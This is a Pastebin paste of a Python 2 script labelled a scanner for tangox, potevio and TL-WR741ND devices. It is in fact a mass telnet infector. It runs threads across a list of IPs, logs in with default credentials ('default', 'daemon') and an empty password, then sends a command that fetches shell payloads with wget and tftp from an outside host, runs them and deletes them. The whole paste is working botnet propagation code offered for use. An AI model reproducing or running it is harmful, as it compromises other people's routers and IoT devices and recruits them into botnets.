Advertisement
Dr-L0v3

Tangox/potevio/TL-WR741ND Scanner

Dec 22nd, 2017
271
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.46 KB | None | 0 0
  1. #!/usr/bin/python
  2. # tangox/potevio/TL-WR741ND Scanner
  3.  
  4. import threading
  5. import sys, os, re
  6. import time
  7. import random
  8. import socket
  9. from Queue import *
  10. from sys import stdout
  11.  
  12. if len(sys.argv) < 3:
  13.     print "Usage: python "+sys.argv[0]+" <list> <threads>"
  14.     sys.exit()
  15.  
  16. ips = open(sys.argv[1], "r").readlines()
  17. threads = int(sys.argv[2])
  18. queue = Queue()
  19. usernames = ["default", "daemon"]
  20. cmd = "cd /tmp || cd /var || cd /dev; wget http://1.1.1.1/bins.sh; tftp -r tftp2.sh -g 1.1.1.1; sh bins.sh; sh tftp2.sh; rm -rf *.sh"
  21. queueC = 0
  22.  
  23. for ip in ips:
  24.     queueC += 1
  25.     stdout.write("\r[%d] Added to queue" % queueC)
  26.     stdout.flush()
  27.     queue.put(ip)
  28. print "\n"
  29.  
  30. def worker():
  31.     try:
  32.         while True:
  33.             try:
  34.                 IP = queue.get()
  35.                 ball = pump(IP)
  36.                 ball.start()
  37.                 queue.task_done()
  38.                 time.sleep(0.05)
  39.             except:
  40.                 print "[*] THREAD UNABLE TO START" #may spam if finished
  41.                 pass
  42.     except:
  43.         pass
  44.    
  45. def readUntil(tn, string, timeout=11):
  46.     buf = ''
  47.     start_time = time.time()
  48.     while time.time() - start_time < timeout:
  49.         buf += tn.recv(2048)
  50.         time.sleep(0.01)
  51.         if string in buf: return buf
  52.     raise Exception('TIMEOUT!')
  53.  
  54. class pump(threading.Thread):
  55.     def __init__ (self, ip):
  56.         threading.Thread.__init__(self)
  57.         self.ip = str(ip).rstrip('\n')
  58.     def run(self):
  59.         try:
  60.             try:
  61.                 tn = socket.socket()
  62.                 tn.settimeout(8)
  63.                 tn.connect((self.ip,23))
  64.             except Exception:
  65.                 tn.close()
  66.             try:
  67.                 hoho = ''
  68.                 hoho += readUntil(tn, ":")
  69.                 if "ogin" in hoho:
  70.                     #print "[*] sending user"
  71.                     tn.send(usernames[0] + "\n")
  72.                     time.sleep(0.1)
  73.             except Exception:
  74.                 tn.close()
  75.             try:
  76.                 hoho = ''
  77.                 hoho += readUntil(tn, ":")
  78.                 if "assword" in hoho:
  79.                     #print "[*] sending new line"
  80.                     tn.send("\r\n\r\n")
  81.                 elif "ogin" in hoho:
  82.                     #print "[*] sending user"
  83.                     tn.send(usernames[1] + "\n")
  84.                     time.sleep(0.1)
  85.             except Exception:
  86.                 tn.close()
  87.             try:
  88.                 hoho = ''
  89.                 hoho += readUntil(tn, ":")
  90.                 if "ogin" in hoho:
  91.                     #print "[*] sending user"
  92.                     tn.send(usernames[1] + "\n")
  93.                     time.sleep(0.1)
  94.                 else:
  95.                     #print "[!] LOGIN FAILED %s"%(self.ip)
  96.                     tn.close()
  97.             except Exception:
  98.                 tn.close()
  99.             try:
  100.                 prompt = ''
  101.                 prompt += tn.recv(1024)
  102.                 if "#" in prompt or "$" in prompt or "default@tangox" in prompt:
  103.                     tn.send(cmd + "\n"); print "[%s] Command Sent"%(self.ip); time.sleep(12); tn.close()
  104.             except Exception:
  105.                 print "[%s] TIMEOUT"%(self.ip)
  106.                 tn.close()
  107.         except:
  108.             pass
  109.    
  110. for balls in xrange(threads):
  111.     try:
  112.         t = threading.Thread(target=worker)
  113.         t.start()
  114.         time.sleep(0.002)
  115.     except:
  116.         print "[$] FAILED TO START WORKER THREAD"
  117.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement